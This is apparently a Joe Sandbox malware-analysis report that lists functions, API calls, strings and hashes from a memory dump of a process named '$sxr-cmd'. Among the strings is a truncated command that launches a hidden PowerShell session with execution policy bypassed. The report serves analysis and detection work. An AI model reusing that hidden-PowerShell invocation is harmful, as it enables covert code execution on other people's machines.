Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID:
String ID: [...]$ [..]$ [.]$...$:
API String ID: 0-1980097535
Opcode ID: d3563aa8005a2adb5706af48719c403af2b001f51d2085656c98ee63d3bc0941
Instruction ID: 05c867c37357364b347822227e01ba93656e3d872bedea15a09a0583c8c511ef
Opcode Fuzzy Hash: d3563aa8005a2adb5706af48719c403af2b001f51d2085656c98ee63d3bc0941
Instruction Fuzzy Hash: AB32C272A08F8286EBA0EF25D4402F9B3E4EB497A4F814131DA1D2B695DF7DE51DC720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E6EE4 Relevance: 30.1, APIs: 13, Strings: 4, Instructions: 342timeCOMMON

Download Yara Rule

APIs

GetSystemTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF7137E6F34
SystemTimeToFileTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0 ref: 00007FF7137E6F49
FileTimeToLocalFileTime.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137E6F5F
FileTimeToSystemTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0 ref: 00007FF7137E6F74
realloc.MSVCRT ref: 00007FF713804327

Part of subcall function 00007FF7137F5508: GetUserDefaultLangID.KERNELBASE(?,?,?,?,00007FF7137E6F97), ref: 00007FF7137F550C

GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF7137E6FA8
memmove.MSVCRT ref: 00007FF7137E702F
GetDateFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0 ref: 00007FF7137E7064

Strings

%02d%s%02d%s%02d, xrefs: 00007FF713804355
%s %s , xrefs: 00007FF713804400
%s , xrefs: 00007FF7138043ED
.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC, xrefs: 00007FF7137E6EEB

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Time$File$System$DateDefaultFormatInfoLangLocalLocaleUsermemmoverealloc
String ID: %02d%s%02d%s%02d$%s $%s %s $.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
API String ID: 4111365348-3662956551
Opcode ID: 74249970fbf2e4b7620cc53d3e0e908d97b29c4ace187a61a8b0bb0729ed9366
Instruction ID: 26f31adcbf2b61761f8b1ce6303299074f4f1c004ecb67005d5161881323714c
Opcode Fuzzy Hash: 74249970fbf2e4b7620cc53d3e0e908d97b29c4ace187a61a8b0bb0729ed9366
Instruction Fuzzy Hash: 1AE1B061A08E4286FB90AB64A8805B9E7A1FF887B4FD44132D90E77695DF3DE51CC730

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71380EE88 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_wcsupr.MSVCRT ref: 00007FF71380EF33
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF71380E964), ref: 00007FF71380EF98
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF71380E964), ref: 00007FF71380EFA9
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF71380E964), ref: 00007FF71380EFBF
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF71380EFDC
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF71380E964), ref: 00007FF71380EFED
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF71380E964), ref: 00007FF71380F003
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF71380E964), ref: 00007FF71380F022
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF71380E964), ref: 00007FF71380F083
FlushConsoleInputBuffer.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF71380E964), ref: 00007FF71380F092
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF71380E964), ref: 00007FF71380F0A5
towupper.MSVCRT ref: 00007FF71380F0DB
wcschr.MSVCRT ref: 00007FF71380F135
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF71380E964), ref: 00007FF71380F16C
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF71380E964), ref: 00007FF71380F185

Part of subcall function 00007FF7137F01B8: _get_osfhandle.MSVCRT ref: 00007FF7137F01C4
Part of subcall function 00007FF7137F01B8: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF7137FE904,?,?,?,?,00000000,00007FF7137F3491,?,?,00000000,00007FF713804420), ref: 00007FF7137F01D6

Strings

CMD.EXE, xrefs: 00007FF71380F19D
<noalias>, xrefs: 00007FF71380F03C

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Console$Mode$Handle$BufferFileFlushFreeInputLocalType_get_osfhandle_wcsuprtowupperwcschr
String ID: <noalias>$CMD.EXE
API String ID: 1161012917-1690691951
Opcode ID: f8298d22c9df71f240bd9e1abb4a97c4f8b0018ea53697e3e253b80e8643b65e
Instruction ID: 59a5d070a71c3f5a3f1a8fc5299afb0a8c5fa8ef5e0de52ca7ce586b32b4199e
Opcode Fuzzy Hash: f8298d22c9df71f240bd9e1abb4a97c4f8b0018ea53697e3e253b80e8643b65e
Instruction Fuzzy Hash: 6291A122B08E428AFB95AB60E4400BDBAA0BF49B74F848135DD0E666D4DF3DA45DC330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E32B0 Relevance: 27.2, APIs: 18, Instructions: 243COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7137F3578: _get_osfhandle.MSVCRT ref: 00007FF7137F3584
Part of subcall function 00007FF7137F3578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F359C
Part of subcall function 00007FF7137F3578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F35C3
Part of subcall function 00007FF7137F3578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F35D9
Part of subcall function 00007FF7137F3578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F35ED
Part of subcall function 00007FF7137F3578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF7137E32E8,?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014), ref: 00007FF7137F3602

_get_osfhandle.MSVCRT ref: 00007FF7137E32F3
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,0000000B,?,00000000,00000014,?,?,0000002F,00007FF7137E32A4), ref: 00007FF7137E3309
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF7137E3384
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF7138011DF

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Console$LockShared_get_osfhandle$AcquireBufferErrorFileHandleInfoLastModeReleaseScreenTypeWrite
String ID:
API String ID: 611521582-0
Opcode ID: d412da15cb949554b081a41741d7db10ae4ffc54f36c72ea7b4e9065a2faff7a
Instruction ID: bbc9e7ac8e455636eebe41b476ae350b5c51b775c11c174e6cb7e768ec0b673a
Opcode Fuzzy Hash: d412da15cb949554b081a41741d7db10ae4ffc54f36c72ea7b4e9065a2faff7a
Instruction Fuzzy Hash: DCA1B122B08E128AF794AB61E8402BDEAA1FB4DB65F845135CD0E67784DF7DD44DC320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E1560 Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 338fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7137E15BD

Part of subcall function 00007FF7137ECA40: memset.MSVCRT ref: 00007FF7137ECAB3

FindFirstFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137E1620
FindClose.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137E1638
FindFirstFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137E16C0

Part of subcall function 00007FF7137E1560: FindNextFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137E17F0
Part of subcall function 00007FF7137E1560: FindClose.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137E180C
Part of subcall function 00007FF7137E1560: ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137E183E

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF7137FAC35
SetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137FAC68

Strings

\\?\, xrefs: 00007FF7137FAC99

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Find$File$CloseFirstmemset$AttributesErrorLastNext
String ID: \\?\
API String ID: 628682198-4282027825
Opcode ID: bc7a4c5315452527efdd1b4c54bcb63c24ecfd4bbeb423885ae225a5c15832f3
Instruction ID: 9ed78c816c181047f9671503d0d6a20b0977f806d2f36ced8505a8846bafde02
Opcode Fuzzy Hash: bc7a4c5315452527efdd1b4c54bcb63c24ecfd4bbeb423885ae225a5c15832f3
Instruction Fuzzy Hash: 37E1A621B08A8296EBE0AF24D8803F9A7A0FB49765F804235D91E677D4DF3CD54DC710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137ECE10 Relevance: 24.8, APIs: 12, Strings: 2, Instructions: 337COMMON

Download Yara Rule

APIs

_tell.MSVCRT ref: 00007FF7137ECEAF
memset.MSVCRT ref: 00007FF7137ECF5C
_wcsicmp.MSVCRT ref: 00007FF7137ECFAE
GetConsoleOutputCP.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF7137ED003
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF7137ED01E
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137ED044
EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF7137FC889
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF7137FC8A2

Strings

GOTO, xrefs: 00007FF7137ED0A3
C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VO, xrefs: 00007FF7137FC9F1

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: CriticalSection$ConsoleEnterInfoLeaveOutput_tell_wcsicmpmemset
String ID: C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VO$GOTO
API String ID: 3863671652-1657151780
Opcode ID: a81ad13440b0a5d5f52291989616d259ae80dd99547c53806a4f383952b1c558
Instruction ID: 785204c4f6db541666d36e2a37bee7f5d424030d19a3fb189d289bce23fcb2e7
Opcode Fuzzy Hash: a81ad13440b0a5d5f52291989616d259ae80dd99547c53806a4f383952b1c558
Instruction Fuzzy Hash: D9E19B25A09E438AFFE4BB1994943B9E694BF49760FC44235D91E362D1DF3DE84D8230

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E3410 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 160windowCOMMON

Download Yara Rule

APIs

FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF7137E3477
wcschr.MSVCRT ref: 00007FF7137E34A0
FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF7137E34DF
_ultoa.MSVCRT ref: 00007FF7138012DA
GetACP.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF7138012E6
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF71380131E

Strings

Application, xrefs: 00007FF713801341
, xrefs: 00007FF7138012FB
System, xrefs: 00007FF71380133A

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: FormatMessage$ByteCharMultiWide_ultoawcschr
String ID: $Application$System
API String ID: 3538039442-1881496484
Opcode ID: 6194e2a1b63514fbe775a342b0db58f28aa4d046a1287b5b4022a3f3c67c0b5b
Instruction ID: c8460a4ae2ae57995e976161c1e9930d3b1649b09c5987e4dcb716cc5db7609a
Opcode Fuzzy Hash: 6194e2a1b63514fbe775a342b0db58f28aa4d046a1287b5b4022a3f3c67c0b5b
Instruction Fuzzy Hash: 9E51BD36A08F4187EBA0AB15B44067AFAA1FB89B64F858234DE4E13750DF3DD459C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E372C Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 396COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF7137E3921

Part of subcall function 00007FF7137F09F4: iswspace.MSVCRT ref: 00007FF7137F0A11
Part of subcall function 00007FF7137F09F4: wcschr.MSVCRT ref: 00007FF7137F0A2B

wcsrchr.MSVCRT ref: 00007FF7137E37D2
_wcsnicmp.MSVCRT ref: 00007FF7137E381A
wcsrchr.MSVCRT ref: 00007FF7137E3A0C
wcsrchr.MSVCRT ref: 00007FF7137E3A35
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF7137E3A9D
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137E3ACC
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF7137E3AE1
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137E3B1E

Strings

\, xrefs: 00007FF7137E3AB9
COPYCMD, xrefs: 00007FF7137E37AE

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: wcsrchr$ErrorLast$AttributesFile_wcsnicmpiswspacememsetwcschr
String ID: COPYCMD$\
API String ID: 3989487059-1802776761
Opcode ID: 05ae0ec2d06d2a9ef41bc112d7715d0f7644bc311c2d5fc207196218d88fa946
Instruction ID: 7b51286a930052a62b9f98172a699d8703c22db99dcfc903aa18162a781eb140
Opcode Fuzzy Hash: 05ae0ec2d06d2a9ef41bc112d7715d0f7644bc311c2d5fc207196218d88fa946
Instruction Fuzzy Hash: DFF1D625B08B4685FB90BB15D4802BAE7A0FF49BA8F844135DA4E2B794DF3DE45DC320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F3140 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 229timeCOMMON

Download Yara Rule

APIs

GetSystemTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF7137F3189
SystemTimeToFileTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0 ref: 00007FF7137F319F
FileTimeToLocalFileTime.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137F31B5
FileTimeToSystemTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0 ref: 00007FF7137F31CB
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF7137FE619
GetTimeFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0 ref: 00007FF7137FE738

Strings

HH:mm:ss t, xrefs: 00007FF7137FE629
%02d%s%02d%s, xrefs: 00007FF7137FE799
%2d%s%02d%s%02d%s%02d, xrefs: 00007FF7137F3236, 00007FF7137FE5C9
, xrefs: 00007FF7137FE718
.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC, xrefs: 00007FF7137F3147

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Time$File$System$FormatInfoLocalLocale
String ID: $%02d%s%02d%s$%2d%s%02d%s%02d%s%02d$.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC$HH:mm:ss t
API String ID: 55602301-2548490036
Opcode ID: d793cf68f885368b4ca952d7378f9a0084057b150934299f8dfb9ae4312d122b
Instruction ID: 068004af3a778345dcdb04caba5907a8b5e1c2cf67419a963a55b02375cc551f
Opcode Fuzzy Hash: d793cf68f885368b4ca952d7378f9a0084057b150934299f8dfb9ae4312d122b
Instruction Fuzzy Hash: E5A1A732A18F4296EB90AB14E4802B9F7A5FB48B74FD00535DA6D27A94EF3CD55CC720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF713811538 Relevance: 19.7, APIs: 13, Instructions: 169filememorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF713811408: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF71381142A
Part of subcall function 00007FF713811408: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF71381144F

Part of subcall function 00007FF713811408: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF71381146C

SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF7138115A8
CreateDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7138115D1
CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF71381160B
RtlDosPathNameToNtPathName_U.NTDLL ref: 00007FF713811635
memset.MSVCRT ref: 00007FF713811677
memmove.MSVCRT ref: 00007FF7138116AD
memmove.MSVCRT ref: 00007FF7138116E6
NtFsControlFile.NTDLL ref: 00007FF71381171D
RtlNtStatusToDosError.NTDLL ref: 00007FF71381172F
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF71381173D
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF713811754
RtlFreeHeap.NTDLL ref: 00007FF71381177F
RemoveDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF713811797

Part of subcall function 00007FF713811A40: memset.MSVCRT ref: 00007FF713811AA6
Part of subcall function 00007FF713811A40: memset.MSVCRT ref: 00007FF713811ACC
Part of subcall function 00007FF713811A40: GetVolumePathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF713811B3E
Part of subcall function 00007FF713811A40: GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF713811B67
Part of subcall function 00007FF713811A40: GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF713811BD7
Part of subcall function 00007FF713811A40: _wcsicmp.MSVCRT ref: 00007FF713811C05

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: Path$ErrorName$Lastmemset$CreateDirectoryFileFullVolumememmove$CloseControlDriveFreeHandleHeapInformationName_RemoveStatusType_wcsicmp
String ID:
API String ID: 3935429995-0
Opcode ID: 795fcaf9b1b37c27bcdc7aeab39e4ea5de5f10c23baa64d7e6cd9433ecd74678
Instruction ID: 7a665795f95f1567f94edd0c4350f643c85eb93aba9a0d1b5c43dfae8d00fe3e
Opcode Fuzzy Hash: 795fcaf9b1b37c27bcdc7aeab39e4ea5de5f10c23baa64d7e6cd9433ecd74678
Instruction Fuzzy Hash: 79610222A18B528AE790EF21A404679FBA4FF88F64F858130DE4E53794DF7ED419C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137E35B8 Relevance: 18.2, APIs: 12, Instructions: 214COMMON

Download Yara Rule

APIs

GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF7137E3620

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
